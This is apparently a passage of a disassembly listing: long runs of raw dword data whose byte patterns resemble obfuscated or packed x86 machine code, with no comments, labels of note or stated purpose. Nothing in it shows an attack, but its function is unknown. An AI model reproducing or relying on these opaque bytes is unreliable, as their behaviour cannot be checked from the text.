		dd 66FAD4BAh, 1249E981h, 108A0Fh, 0BE90000h, 0A5000000h
		dd 84CD8588h, 0E0D65862h, 0BF0F16EEh, 0BABF66DBh, 1B860FD4h
		dd 53000000h, 13E8h, 0A6CF7400h, 0C8A0B8CFh, 7E1DE3D1h
		dd 293515DDh, 86C3DC5h,	0DE85A5Bh, 71000000h, 0FC345675h
		dd 0A27B9719h, 126B11DDh, 0EFB55BF9h, 1840Fh, 0E8F50000h
		dd 0Ah,	0E9EB28E8h, 901ED3D5h, 0BA6616D9h, 0B35E52DEh
		dd 8166601Bh, 0F7788F0h, 0E961F0BFh, 14h, 5C1381E9h, 5809CDC8h
		dd 0C004DD27h, 0E35F8B90h, 2F124CD3h, 28B0Fh, 0CB8B0000h
		dd 0A840Fh, 860F0000h, 4, 5CC3BE66h, 8AF38B66h,	60DD8AE5h
		dd 61C78B66h, 0E8DA8B66h, 0Ah, 0D64B21A7h, 0C951B001h
		dd 8F0FDC9Eh, 12h, 0CE8h, 3D1A8F00h, 353495DBh,	5D2D5232h
		dd 815B5EB1h, 0AA98BC8h, 0D9B70F07h, 5A565060h,	9E9605Ah
		dd 96000000h, 4CC1B6Ch,	0F642E7D1h, 8E0Fh, 61610000h, 1870F60h
		dd 0FC000000h, 0BA6661F8h, 80F854A6h, 0EE95AC3h, 0AE000000h
		dd 5546FE06h, 0DD127AC9h, 537C27C1h, 9E86006h, 0C3000000h
		dd 14893FC5h, 1C2D6B5Ah, 5761FC5Fh, 5F5AFC57h, 5E9h, 4C7FB300h
		dd 8B0FDB1Eh, 18h, 13E9h, 51252300h, 3FD06364h,	60047DEAh
		dd 0B5CF593Dh, 0F160E8ADh, 1810Fh, 0E9F50000h, 0Eh, 0F9EA2305h
		dd 5BF2861Ch, 1635E023h, 860FFE8Dh, 5, 0FBDA8166h, 0BE9FC81h
		dd 0F8000000h, 1E3A2AF8h, 0A23A6639h, 0C2815D66h, 7275F9A3h
		dd 580556B9h, 11E96Ch, 81270000h, 9791EFA1h, 0CF306183h
		dd 13F429A2h, 0FFEEC41h, 0E8Eh,	9E900h,	7E3F0000h, 87006B8Fh
		dd 0F9B1D6Eh, 0F781C7BFh, 62F5AE52h, 10E9h, 0C5E24200h
		dd 0F3B3A438h, 0C0B86F49h, 0BEE31C44h, 3DB866A2h, 51D18BF2h
		dd 5ED7B70Fh, 5E9h, 0BE071E00h,	62BFCEFEh, 8148F554h, 0CF53E2DAh
		dd 0D9CE8125h, 0E83CED33h, 0Dh,	7FB9769Ch, 61ADA432h, 0EC1351BAh
		dd 0BE950h, 93C0000h, 0E49E6129h, 5E7C44A0h, 830F59E2h
		dd 3, 80C38B66h, 8A0F52D2h, 0Bh, 5870Fh, 0E2BA0000h, 8168CF34h
		dd 0E6292BD3h, 97B65008h, 11E95Eh, 3DC80000h, 5B6D49B1h
		dd 0BC91F2B4h, 4607B67Dh, 0BF54BFDCh, 5E81F0DCh, 4820F60h
		dd 66000000h, 66E884BBh, 8A61DE8Bh, 0D9B70FC8h,	505BF551h
		dd 0E85ECA8Bh, 0Ah, 0F05B2953h,	441EDF32h, 8B66A7E2h, 8B665AD3h
		dd 0DE8CBh, 9A3E0000h, 0E31BA175h, 274AA3EFh, 8A0CC9BFh
		dd 830F59EFh, 2, 12E8DA8Bh, 0A9000000h,	62259A8Eh, 3DDE33AFh
		dd 99770B77h, 7DF31FAh,	9CF080E9h, 14E85Fh, 0A6C80000h
		dd 34418B22h, 53B26601h, 0F978DF7Ch, 0EB3224F2h, 0B70F91CBh
		dd 0DB8158DFh, 1CC5CA99h, 0EBB9F681h, 16BA74E0h, 663C968Ah
		dd 8A0FD78Bh, 3, 0B7F88B66h, 8E8AAh, 81110000h,	0EE05626Bh
		dd 12E987E1h, 90000000h, 7C5E2E5Eh, 823147B8h, 65C5A137h
		dd 0C6EED06Ch, 67B05AF4h, 7BC5D681h, 0E9816511h, 169E1E43h
		dd 9D83BB66h, 12E8F28Bh, 81000000h, 7CAB548Fh, 0AB05A1F7h
		dd 0EE628A6Fh, 0F23E2000h, 38E18123h, 5849E83Ah, 286CE281h
		dd 11E949DBh, 0A000000h, 46141552h, 0EFD4A993h,	5D45D30Ah
		dd 0AAE50099h, 520DF081h, 8B664D77h, 82FFB9F0h,	850F043Fh
		dd 0
		dd 10E8F08Bh, 0C2000000h, 6F9EDAE0h, 5069DE47h,	0EA119A92h
		dd 81D4843Fh, 9EB69D7h,	0CA8B5A12h, 5E8h, 4F8EC400h, 0AE9D0E2h
		dd 0FA000000h, 3CA06C15h, 5C2DABB3h, 8BFC5B02h,	0D08166C2h
		dd 0C9BE439Dh, 0F7E568Ch, 381h,	6CC68000h, 9E9h, 0DD01AD00h
		dd 2A9E2F4Eh, 11E84AA0h, 0D7000000h, 0FF49E35Dh, 0C68768D3h
		dd 17111103h, 8C5342F2h, 0BE9h,	0F9D2300h, 5C380D63h, 0A615D4BFh
		dd 11E859h, 80450000h, 82C1BE20h, 6F9B6727h, 420937FAh
		dd 0FCB6B38h, 0F5FF7B7h, 0C181CAB7h, 2A3085B8h,	0AC6BB866h
		dd 13E8h, 0AA6B0900h, 0A0CF9E3Ah, 85AD4039h, 0DA135710h
		dd 0C41F7E4Fh, 12E9h, 9373CB00h, 38BD47E4h, 0F67A356Ch
		dd 691B77CDh, 5F9F4A6Bh, 8BECD180h, 5EBB66F0h, 5E95740h
		dd 0A1000000h, 1CD9E698h, 0D1B70F5Eh, 2890Fh, 58530000h
		dd 0D98B6660h, 61C1CF80h, 0B70FAFB5h, 28B0FF9h,	0B2000000h
		dd 12E954h, 8E6B0000h, 999F5244h, 5EC1C252h, 0F7C603ADh
		dd 0A6B2EBBBh, 1B8FC60h, 6161CDACh, 252FC681h, 81663085h
		dd 8BEA61E2h, 7451B8C7h, 8A0F60CAh, 3, 80C88B66h, 0AE959CBh
		dd 2F000000h, 247733Fh,	39CB53AFh, 7E9F909h, 67000000h
		dd 906DDC5Ch, 8BFCA8FEh, 0C3B966FAh, 0C881662Ah, 67B24779h
		dd 8FB891B7h, 0F104F70h, 0BF66DAB7h, 0B70F4B99h, 2FE981D1h
		dd 51352C35h, 1840Fh, 58FC0000h, 6E8h, 9ECDA700h, 66902E78h
		dd 665FCE8Bh, 0E84B04B8h, 10h, 0B3F897D0h, 73DF7D07h, 1EA544E7h
		dd 0C8310D32h, 0CB2DBF66h, 80C28B5Bh, 0BF0FA6EBh, 0D3BF0FC7h
		dd 0E9F5F38Bh, 0Fh, 3EF7736Fh, 2529D59Fh, 55AC9FFFh, 66E280F7h
		dd 0E9F9F78Bh, 0Ch, 0D5B78FFAh,	820D5D91h, 0F432AF7Bh
		dd 58A0Fh, 81660000h, 0E81D63C7h, 0Ch, 58A47F9Bh, 0C247B3B8h
		dd 41841A64h, 5BD9BF0Fh, 8E951h, 37680000h, 80986B67h
		dd 535EE4FDh, 0AE9h, 2E388F00h,	0A851E150h, 5945AABCh
		dd 0E2BB66F5h, 16800F4Ch, 0E8000000h, 0Ah, 0D309B6E7h
		dd 99DEB772h, 0EE819203h, 18B14DCBh, 8820F5Fh, 0F000000h
		dd 288h, 0F585000h, 0BAB4C0B7h,	168D0Fh, 11E90000h, 37000000h
		dd 711B1F9Bh, 0D93A7796h, 63EF2378h, 1C10042Dh,	4E45D381h
		dd 0FF91D82h, 385h, 0C9BF0F00h,	205AE881h, 81663A2Eh, 0F6E6DE1h
		dd 0DC80FBB7h, 0BE984h,	0CFE10000h, 980036CDh, 0E16AA8FFh
		dd 816651EBh, 5BD254C1h, 0FD8BF0Fh, 283h, 0E9F98A00h, 11h
		dd 2DE9B35Ah, 2F872762h, 0AE5DF8D1h, 434EE912h,	0C1816636h
		dd 820F450Fh, 0Ah, 48A0Fh, 0B8660000h, 7E851DAh, 6A000000h
		dd 3AD7E3C3h, 8166FA39h, 58901AE2h, 59FFBAF9h, 8B6632D6h
		dd 0DBB70FF0h, 0DA816660h, 0E9612C79h, 9, 0B93B8C39h, 7B0123CAh
		dd 816660E4h, 0E88014E9h, 11h, 94DF88DFh, 0A1129692h, 6236DF1Ah
		dd 0A82CA5E2h, 5FDF8B71h, 6E861h, 733A0000h, 82996FD0h
		dd 87C68166h, 0B70F5E7Eh, 0EE8C0h, 22280000h, 0CF10AD2Dh
		dd 9382B582h, 77FC6A65h, 8A585B52h, 2ECE80CFh, 8E9h, 66414D00h
		dd 57034C72h, 0FE88Ch, 9C290000h, 77E13E01h, 7DD2949Fh
		dd 3202B0FCh, 10E949h, 46A80000h, 58A26CEFh, 74682A16h
		dd 5BC362B1h, 53590832h, 5E64F080h, 0FF08BF9h, 38Eh, 0CAB70F00h
		dd 13E960h, 0D6390000h,	989057D7h, 7217916Fh, 4B45593h
		dd 899326F9h, 0F9B70F20h, 840F5361h, 1,	14E858FCh, 0B5000000h
		dd 2BF7B62Dh, 7E0AF023h, 32062AACh, 4A046F85h, 0F94557F2h
		dd 0F98B6659h, 11E9A3B4h, 7C000000h, 0AC58F826h, 0DAF21F3Ch
		dd 0FF377088h, 73757CF1h, 0FD7BF0Fh, 580h, 0EA816600h
		dd 800F05E9h, 1, 14E8F8h, 0F9260000h, 0E7F8ABE0h, 0D9F8DDF3h
		dd 0BD9F56AEh, 0C2D31900h, 0F5F34F8h, 0C80h, 68B0F00h
		dd 81000000h, 3366F6DAh, 0CE816625h, 8A0F6E03h,	6, 0E169C981h
		dd 0BF662C35h, 0B70F5DE7h, 0C18166CFh, 0F571FD9h, 0F5AF6BFh
		dd 1C8Fh, 14E800h, 65110000h, 70088330h, 44E0CCB7h, 7890773Ch
		dd 153688A0h, 5B56EE50h, 0DB81665Ah, 0BF66495Ah, 14E942E2h
		dd 97000000h, 81ECF231h, 9E48A038h, 83EF68Dh, 3DA8E825h
		dd 0B71C6C51h, 0B9665267h, 565A28A9h, 28A0Fh, 5A510000h
		dd 0F081665Bh, 0E9F99EBCh, 8, 41E9EF49h, 5200B06Ah, 5E8h
		dd 3A459E00h, 0E980F78Fh, 0B966588Bh, 0E8F5416Eh, 11h
		dd 0EC53A249h, 27B00790h, 34F1A7E5h, 0FFCB5971h, 85B1BA25h
		dd 605F770Dh, 9C4AE181h, 0E0817242h, 944847Bh, 51B6B961h
		dd 65BA7E89h, 6655EEB9h, 870FCE8Bh, 5, 0E05DCBEh, 0BE920h
		dd 16A10000h, 3EDCF751h, 90A6D696h, 3860FB1h, 80000000h
		dd 13E9BAEEh, 8A000000h, 696A609Bh, 19113B64h, 795630D2h
		dd 18989307h, 0BE880B5h, 0E4000000h, 58AF858h, 8C175B06h
		dd 0D7808AD9h, 0EE815874h, 0E7564A1h, 4FADADBBh, 0FE8F529h
		dd 52000000h, 0C1A5CA5h, 0CD759E00h, 5C390474h,	0C68B246Eh
		dd 0A88CBB5Ah, 9E92643h, 7C000000h, 0C7BE2E7Eh,	60DCE1D5h
		dd 5E9h, 53D65D00h, 0B70F09C0h,	8E9CBh,	11770000h, 0AB38D5Dh
		dd 0FFCB2BFh, 0C78BD7BFh, 0DB81F3B1h, 11352AEEh, 10E9D98Ah
		dd 13000000h, 0B69FB7Eh, 9FEF4FB1h, 46CF145Ch, 66F0A2D4h
		dd 840FCB8Bh, 0Bh, 6E9h, 0E6218800h, 518D3B80h,	0ECD25FBEh
		dd 10E85817h, 89000000h, 0EA9825F8h, 817BCC00h,	0AEF9BCADh
		dd 6603A336h, 5889CEB8h, 13E8h,	0CF924F00h, 2A6629F4h
		dd 24222998h, 0B209C7E2h, 3083D80Ch, 5EF9505Bh,	61F88A60h
		dd 0AE9h, 0D1195E00h, 0B0AECBA2h, 0F76A784h, 0D78AFAB7h
		dd 5F117CB9h, 6E91Eh, 0E9870000h, 0AA6FCBE9h, 10E9h, 0B47C7A00h
		dd 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h, 0DAE7814Bh, 6659D458h
		dd 66E10EB9h, 8B0FDF8Bh, 3, 6605DC80h, 6FB0E181h, 3840Fh
		dd 8B660000h, 0A8CB81D7h, 0E95EF747h, 14h, 1BE83E56h, 9A12F958h
		dd 8E7C9491h, 4D0D9697h, 0BDE963CBh, 11B0F9F8h,	8166B0B5h
		dd 601462D0h, 0EE8h, 6501A500h,	8465AD20h, 265FA83Ah, 6668E1A9h
		dd 5EF8E7B9h, 2800Fh, 98B60000h, 8160F561h, 0B3867ECEh
		dd 63B6BE2Ch, 0BE61283Dh, 18EF57EAh, 0A5D78166h, 14E92Bh
		dd 64370000h, 0B12CFC39h, 555DA92Ah, 4383995Eh,	54D275D5h
		dd 0E880BA0Ch, 14E90Eh,	37FA0000h, 6B384209h, 8D4911CBh
		dd 0ADF84167h, 6ED2376Dh, 0E8605E82h, 9, 7797A5AFh, 4EFD9285h
		dd 11E90Fh, 0B8D50000h,	0FFB48686h, 85A9B54h, 79526621h
		dd 58EE943Bh, 0D9816660h, 8B0FF25Bh, 0
aAaFbS		db 'aa`f"',7,0
		align 4
		dd 8E62EA00h, 0FDB44C9Dh, 14810F61h, 0E9000000h, 0Fh, 0ECC27F09h
		dd 0C7CB8171h, 601D8558h, 6683AE9Ch, 0E85396B8h, 9, 1341504Eh
		dd 260CA01Ch, 5EDE8B08h, 0BE9h,	0BEBF200h, 49B3BA5Bh, 0F0AA32Fh
		dd 14E8h, 0F46CC900h, 6859FCF4h, 88F8769Dh, 0C01150FEh
		dd 87548BE7h, 0D18166B2h, 605FBFC3h, 0F61F860h,	682h, 8B0F00h
		dd 61000000h, 95A1F181h, 860F3A78h, 17h, 12E9h,	3C12100h
		dd 61685D3Ah, 0BE9BF8AFh, 78F4402Ah, 6622EE34h,	6651DF8Bh
		dd 59834FBBh, 66CF8B66h, 0F958F5B8h, 0BF0FD9B3h, 5890FC1h
		dd 66000000h, 0FE39D981h, 0AA21E1BAh, 9E826h, 531C0000h
		dd 51D40BA6h, 0FCE5725h, 0B55EC2BFh, 6830FFFh, 50000000h
		dd 240BF66h, 7E9535Fh, 0D1000000h, 426BA1E5h, 66581D52h
		dd 0E97164BEh, 0Ah, 45B81A70h, 10C97BD4h, 0C9803A2Bh, 0EEF08052h
		dd 28B0Fh, 0CF8B0000h, 0AE8h, 6238A300h, 0B08CE0C4h, 81DD55F2h
		dd 122CB7EFh, 8E95859h,	3E000000h, 0CB56F263h, 0E968DAD2h
		dd 12h,	319BC149h, 0B224728Eh, 4D2ABD19h, 95195A32h, 0C78B025Ah
		dd 0F08AFA8Bh, 0EAD78166h, 52C881C6h, 0E95A6D3Dh, 13h
		dd 0F9581BE8h, 94919A12h, 96978E7Ch, 63CB4D0Dh,	607ABDE9h
		dd 0DAD8BF66h, 8E0Fh, 66610000h, 0B866D98Bh, 90B7E14Ah
		dd 0CE957h, 0A98C0000h,	70950FDFh, 0B593D2FAh, 605F5009h
		dd 6830Fh, 0E9810000h, 21EEBD69h, 0DE8B6660h, 4032BA66h
		dd 8BF86161h, 810FF8FAh, 0Ch, 7E9h, 0D2E9AE00h,	20781020h
		dd 2C51BE52h, 605E77DFh, 0E98166FCh, 66610A3Eh,	0E92C07B8h
		dd 0Eh,	0EEDEB2D3h, 0C86F19A4h,	73FD89E6h, 8166CE1Dh, 0FCB7CC3h
		dd 1588h, 10E900h, 0DD590000h, 5358A516h, 0DFC278C2h, 0FCC8E56Eh
		dd 8160D72Dh, 1D51C5DAh, 8B0F6140h, 0
		dd 0FD72B6BBh, 0C2816625h, 0CB81ACF2h, 2DBB7372h, 10E8D08Bh
		dd 95000000h, 8B892C74h, 82D91466h, 7092364Fh, 0E9167531h
		dd 13h,	734DA50Dh, 0D650AD6Dh, 64578BA8h, 38F48059h, 586FBFDDh
		dd 5E853h, 0D9330000h, 6612AD67h, 5E5EC88Bh, 8D0F60F9h
		dd 6, 870Fh, 0DC8A0000h, 9800F61h, 0F000000h, 384h, 0D8BF0F00h
		dd 8C0F5756h, 0
		dd 0B8B05B5Bh, 4870Fh, 0BB660000h, 47BFD06Ah, 0B318CA87h
		dd 108E0FB1h, 0E9000000h, 0Bh, 1FAABE1Bh, 7370850h, 0BE1C94F1h
		dd 4EC6A7A4h, 2870F53h,	60000000h, 0AE85B61h, 12000000h
		dd 9A7A811Eh, 0C53706E9h, 8CF281BBh, 5E37CF51h,	6877B966h
		dd 0B1D18166h, 0D4BE50E5h, 5B4ACC83h, 8B0F52F5h, 4, 1E0BBE66h
		dd 11E9F858h, 75000000h, 6D0FA743h, 950C8591h, 0BC9DFE7Fh
		dd 337D53C9h, 15BAF18Bh, 6630A4F1h, 0F60F78Bh, 8B66D0B7h
		dd 810F61F3h, 3, 0FC0B70Fh, 68Ch, 830F00h, 66000000h, 1D17E181h
		dd 0EE9h, 352E3700h, 4E60DFF4h,	7F0A7394h, 0B437621Dh
		dd 0FE8B6616h, 75D88166h, 0DE98Bh, 1A690000h, 50C64297h
		dd 0C14E3789h, 0E98A0632h, 0Ah,	8A9BA460h, 2133E8C6h, 0A9BA411Fh
		dd 661994A9h, 0F98F76B9h, 80D5B966h, 52FC6053h,	0E95A6158h
		dd 0Ch,	0EA4658Dh, 907C7639h, 4A4A6CB7h, 0F781EE8Ah, 66D620CFh
		dd 8E9h, 0BFA89A00h, 0DBBEDA80h, 6890F9Ch, 81000000h, 814441C6h
		dd 73E78157h, 0B97CB401h, 2D54AF18h, 0FC88B60h,	1587h
		dd 10E900h, 0F37E0000h,	0C7F7F2AAh, 1EF0B7C4h, 0DE112697h
		dd 0E861DF33h, 14h, 68BC86BEh, 0B01B8006h, 7B15836Bh, 0DD84B6A8h
		dd 0E7989813h, 5AF1BF0Fh, 0B4D38166h, 0A1BE6648h, 0D7BF0F5Ah
		dd 0BF0FF38Bh, 11E960DBh, 0F8000000h, 7806102Eh, 0A41EBF46h
		dd 0D268BC9h, 0B13ED15Dh, 6159C480h, 7E9h, 0A1F22400h
		dd 5CBCBA7Ah, 7E9h, 9D5AFE00h, 2100F520h, 0CBBF0F60h, 0B86661F8h
		dd 10E8BA4Fh, 81000000h, 0C12236Dh, 496DF7B8h, 0EE33BF11h
		dd 5687B0A7h, 585FE38Ah, 312AB866h, 39A3EE81h, 8A0F3EACh
		dd 9, 8E0FF860h, 0
		dd 0FB8B6661h, 0F176BE66h, 812ADD80h, 823863DAh, 12E815h
		dd 0FFD50000h, 53BA7BCFh, 1520FD24h, 79899A9Ah,	99358500h
		dd 605BD88Bh, 8E9h, 899BF900h, 15BE0C18h, 0F98B6688h, 0D98B6061h
		dd 68D0Fh, 800F0000h, 0
		dd 0CE9F961h, 72000000h, 0D14C2873h, 0F0020E9Fh, 0FE52673h
		dd 8B66F7B7h, 2860FD6h,	8B000000h, 13E9DEh, 9E070000h
		dd 4084BBB2h, 0A6A7B44Eh, 0B973D957h, 170D90D2h, 188B0FFEh
		dd 53000000h, 11E9h, 0A5C5E100h, 0AEBF3F5h, 0C820467h
		dd 3746288h, 0F5E2DFFh,	880FD2B7h, 5, 1683E7BFh, 0FD18B6Dh
		dd 89h,	81D68B00h, 8FF5EAC6h, 0FBBF0F27h, 12E860h, 0E3AC0000h
		dd 1327BE0Eh, 728CBA6Ah, 0DCACF80Ah, 0D93EA5Dh,	6E9h, 5D933A00h
		dd 5AF57707h, 58E28A51h, 0CF8B6661h, 347D8B8h, 6820F16h
		dd 81000000h, 38D534C3h, 10E919h, 2A6F0000h, 563701C7h
		dd 48F30486h, 0CA461D7Bh, 0BF66ECBAh, 0BF0F765Eh, 8E9D0h
		dd 0E5D50000h, 0BDA13F6Dh, 0F60A6E2h, 61F5C3BFh, 66D68B66h
		dd 0FE31DBFh, 0E950CBB7h, 0Fh, 0C3D9078Fh, 0E3FB2898h
		dd 8A3CC90Fh, 5F0A0351h, 0B9661CB6h, 8B0F6C71h,	10h, 0BE9h
		dd 0BB74DA00h, 0C3A37636h, 76B6CA6Ah, 16B8FA8Bh, 6648837Bh
		dd 0D956F081h, 0F78BC68Bh, 13880Fh, 0EE90000h, 0AF000000h
		dd 9A3B1720h, 598D6C0h,	7F8B706Ch, 8840FD4h, 0F000000h
		dd 285h, 56616000h, 28F0Fh, 0DA8B0000h,	0B2B56058h, 0C1CE8160h
		dd 61289EF1h, 0CABF0F61h, 81667BB0h, 805496D2h,	3DB1E3E3h
		dd 0F9DD680h, 38Eh, 0BBC68000h,	12E9C68Bh, 0FB000000h
		dd 73403FC6h, 41CCC676h, 64964CF7h, 7E155C6Eh, 0EE95185h
		dd 95000000h, 8C25A4AAh, 0E4D183C7h, 305AB3DDh,	840F5AEEh
		dd 0Eh,	9E9h, 92731C00h, 0AC3C6BEBh, 0B70F28C0h, 12E8F6h
		dd 38B20000h, 77DEAD7Bh, 82333372h, 97EF7731h, 97B5D9C1h
		dd 0C8816660h, 5F50C473h, 9E95A61h, 39000000h, 11F616ECh
		dd 0DBE6EACEh, 56C7BF0Fh, 95C1D781h, 81597C41h,	1E17BED6h
		dd 7E86Ch, 5140000h, 2B7CDFA0h,	13E28076h, 0E95B505Ah
		dd 14h,	38EDBD1Ah, 51DF6B3Ch, 7F7AD49Eh, 635A1C0Dh, 5390F8AEh
		dd 8FDA1BB9h, 118C0F47h, 0E8000000h, 5,	9D19D2F8h, 0CCC081FDh
		dd 590A8B3Ah, 8B0Fh, 81660000h,	0F523ADFh, 0BF66DBBFh
		dd 0DDB34F87h, 0D480FCB1h, 0F0BB6637h, 5DC681E6h, 601BEE07h
		dd 81F9B70Fh, 5D7665E3h, 0B5F9611Eh, 66C68B57h,	0F0852BAh
		dd 882h, 2850F00h, 0B0000000h, 0F7B70FBBh, 2890F51h, 52000000h
		dd 11E95A5Eh, 2B000000h, 0A50C35B6h, 967F3D16h,	0F1E93F65h
		dd 41C449A6h, 5FCF8B53h, 10E9h,	0DC49500h, 2D5C6603h, 66581237h
		dd 947002Bh, 0D4E88132h, 0E95D2475h, 0Fh, 9AFB914Bh, 921F1C00h
		dd 3AE0E2FFh, 8B77191Ch, 0C38B66F3h, 0D1C3F281h, 0BA661A0Ah
		dd 0E981A432h, 57B3BEAEh, 2237DF81h, 0CE8A1A8Eh, 0D48F081h
		dd 8B667317h, 0BF44B2FBh, 3283CBBFh, 8E8h, 329A3D00h, 4E48F0B1h
		dd 840FACh, 5F000000h, 0DF816650h, 0F596DA5h, 820FD2BFh
		dd 16h,	11E9h, 69220C00h, 8A7766ECh, 7307999Ah,	0D9DD1AAFh
		dd 11E88A19h, 0DD000000h, 4CE0845Bh, 7578EB89h,	8B4D4D87h
		dd 0F7F6C7Ah, 3810Fh, 0BF0F0000h, 8B6659CEh, 0DFB70FCBh
		dd 96FFD9BFh, 80C88B74h, 850FCEF0h, 0Eh, 9E9h, 2AD55600h
		dd 0F7A0ED95h, 3EB78665h, 66FBBF0Fh, 5473DA81h,	11E9h
		dd 9282DA00h, 366DD224h, 273D0EE0h, 6D7F9AE8h, 0B70F9D01h
		dd 65D980FEh, 0EE8FCF8h, 10000000h, 0C2C1FEDBh,	3110CF0Eh
		dd 933AF115h, 0F5AF85Dh, 282h, 0BAACB100h, 0DF977A9h, 8531F381h
		dd 0B4FC6611h, 13820F6Dh, 0F000000h, 0D8Dh, 8E900h, 0F8C90000h
		dd 0A4E4D2E5h, 0B46045AFh, 850F502Eh, 0
		dd 0E9F56158h, 0Ch, 0C270CD39h,	0F91DD4A7h, 95B9BCEDh
		dd 9E851h, 0A2DB0000h, 4BF8C7Dh, 8155D39Ah, 0AC37D2h, 0E9585E21h
		dd 0Ah,	26F904B4h, 21208993h, 0C681E28Eh, 7EBDF179h, 16860Fh
		dd 0E8510000h, 0Eh, 228B9500h, 14FF747Eh, 19A314A0h, 5F5AF6ECh
		dd 0ED14BE66h, 0D38B66F9h, 6653D380h, 9113F381h, 0FCCBB70Fh
		dd 0A810FFCh, 60000000h, 850Fh,	61600000h, 14B86661h, 0F60FC33h
		dd 0F61FBB7h, 0B70FC7B7h, 10E9C3h, 809A0000h, 48DCC96Fh
		dd 0F4A0343Ah, 948A9118h, 665240DFh, 0FD5EDE81h, 12E9F85Fh
		dd 0F2000000h, 0F0035780h, 0F89DE22Ah, 0A5E99B19h, 8AB10CE1h
		dd 5E8B4h, 0D0820000h, 8BD39824h, 820F5ECEh, 3,	0E94AC980h
		dd 5, 518F4481h, 66C28BAEh, 4D60D781h, 28A0F60h, 57000000h
		dd 0A0BA665Ah, 13E861BCh, 2B000000h, 223FD8D8h,	0EC7F136Ah
		dd 44034B1Ch, 7060E131h, 0EE8CCDFh, 5E000000h, 0F50E2815h
		dd 91666E8Eh, 0CBDED948h, 9C5805Ah, 0B2B95E59h,	6041D1BDh
		dd 9E8h, 0A905AF00h, 0ABA39E46h, 0BF0F2DFDh, 8B665AC8h
		dd 816661C8h, 668730E3h, 811EBEBAh, 0FAF67CE6h,	0D6C0804Bh
		dd 0F5AFE480h, 14E9h, 0EA2DA100h, 79A163C3h, 0A22FC228h
		dd 2165F849h, 1E0F8219h, 0D5C38074h, 12E960h, 0F970000h
		dd 70DE3CDDh, 371E904Dh, 0C15D7D4Dh, 8C602DA7h,	0BF61DF8Bh
		dd 3E81413Dh, 3840Fh, 0BF0F0000h, 10E681C6h, 8018B988h
		dd 0F18195E6h, 77BA6E8Ah, 3860F52h, 0F000000h, 0E95ADEB7h
		dd 9, 4D8F7BDh,	0C0C4425Dh, 9E850h, 11F20000h, 35AA8CF2h
		dd 5BFD2CC8h, 0C18B6650h, 18A0F5Fh, 0F8000000h,	0EE9h
		dd 924D0A00h, 2B65FAF5h, 0E3C84279h, 81E835CAh,	0C90D5EDFh
		dd 0DA8B6668h, 8D0F7DB2h, 15h, 0EE957h,	0BF820000h, 0B665E7FAh
		dd 1508EBFh, 68ABF06Ah,	52C28A5Bh, 8B66575Ah, 7E95AF3h
		dd 0CE000000h, 9174EF5h, 0B70FEB62h, 5E9D2h, 9A670000h
		dd 504D7454h, 58C18B66h, 0E8F38B66h, 13h, 8240A815h, 0D274F3F0h
		dd 6A36571Dh, 1C12136Fh, 0B2985171h, 66FC5ABDh,	66C8E5BEh
		dd 0BF66D98Bh, 0AE924B6h, 0A8000000h, 51C459F0h, 0D71F07F5h
		dd 0E8D0F56h, 0E9000000h, 9, 0A24008F3h, 7DB86224h, 0BF0F60DAh
		dd 0C8BF0FCBh, 18A0F61h, 0F5000000h, 8A0Fh, 0F28B0000h
		dd 5750A5B4h, 5BCBBF0Fh, 88D5B85Bh, 0E6815125h,	60C205E8h
		dd 61E123BAh, 60DF8B3Bh, 2870Fh, 5E510000h, 839EFFB8h
		dd 830F6179h, 3, 0FF18B66h, 286h, 0E8DF8B00h, 6, 6B355F8Dh
		dd 5AF8AB16h, 0DE9h, 1C1C4F00h,	0F899255Bh, 679D0B55h
		dd 49BAAD11h, 81673369h, 0BB5A18CBh, 8166564Eh,	588749C7h
		dd 0F55A71BEh, 6E94Ch, 4C990000h, 0FEE8AB70h, 0E8F98B60h
		dd 10h,	4291805Ch, 648A0170h, 1115D122h, 0EADD4553h, 615B6160h
		dd 8BCEBF0Fh, 0ADB81CBh, 0B92F28EBh, 1B003A33h,	0B2D88B66h
		dd 0FE91Eh, 7E580000h, 74322FD2h, 0FA768FD3h, 140ED998h
		dd 6E8E1h, 847B0000h, 727A2980h, 12E9FC5Bh, 6C000000h
		dd 0C413308h, 29368411h, 0F534D500h, 4A9752ECh,	1C18003h
		dd 0FDF8B66h, 181h, 14E8F800h, 75000000h, 867D4C74h, 5EE4FCB1h
		dd 0DD347D5Ah, 4B1EFCC3h, 0F234DD5h, 285h, 5E595700h, 88D0Fh
		dd 800F0000h, 2, 8B665856h, 0DE9CBh, 57700000h,	0ACDDFF73h
		dd 0E187D913h, 0E99E4D5Eh, 0Eh,	948666DDh, 1E04038Bh, 0A9B7C3h
		dd 14B7E355h, 5FDA8B51h, 66F0B70Fh, 8193D3BFh, 2EF9DADAh
		dd 0C7BF0F26h, 0B43BA66h, 0C3816660h, 805236F6h, 615BF0DCh
		dd 1F1DCF81h, 860F7E64h, 7, 0DA816653h,	0E95F02CAh, 10h
		dd 60251023h, 0CE36E314h, 7310E141h, 153067C6h,	0D920BE66h
		dd 12E8h, 82A62800h, 87C1BD66h,	0DDAB43D9h, 0A9E947A0h
		dd 0B3793252h, 8166583Eh, 6634D5DBh, 66012EB8h,	1D8E781h
		dd 58E0FF5h, 0BA000000h, 352519D3h, 830Fh, 81660000h, 0F2B3FC6h
		dd 1585h, 10E900h, 3E760000h, 0B4A0F488h, 15E0DE1h, 7E121568h
		dd 9B380E4h, 0B70FEB8Ah, 8E8C0h, 96850000h, 200EED23h
		dd 860F333Ch, 5, 57C98166h, 8166581Fh, 0F5C906D9h, 9850Fh
		dd 53600000h, 5FFAB95Bh, 0E96140C0h, 14h, 0BB839143h, 956A9457h
		dd 0B16548ADh, 41F9F901h, 0F2ED7F1Ah, 1889B966h, 0A94C37BEh
		dd 14E952h, 2B20000h, 0FBCF7F2Ch, 0E6E65F68h, 8ABBF8CFh
		dd 0B4037BE6h, 0E0813ADAh, 55337642h, 8BAF18Bh,	8A09C79Ch
		dd 0E8E88AEEh, 11h, 0D906A34Bh,	7ED11D7Ch, 0FCAC1829h
		dd 0DA7B2FD1h, 0DFB70FA7h, 0E480605Bh, 77C7BAD9h, 66613824h
		dd 0E634C081h, 0E8D9BF0Fh, 12h,	92950135h, 0BD299D2Dh
		dd 0EF7D573Ah, 1B1CDCDDh, 8051B05Ch, 59581DD1h,	10E8h
		dd 43254500h, 85F0A417h, 28BB5A5h, 0ED53F94Bh, 0E881667Eh
		dd 665EB15Dh, 75BDF381h, 66F18B66h, 60C480BAh, 28D0Fh
		dd 5A500000h, 0B8D0Fh, 6E90000h, 31000000h, 41353DE4h
		dd 8D0F613Eh, 5, 0CCE18166h, 0BDC380F2h, 2BD68166h, 0FE860CBh
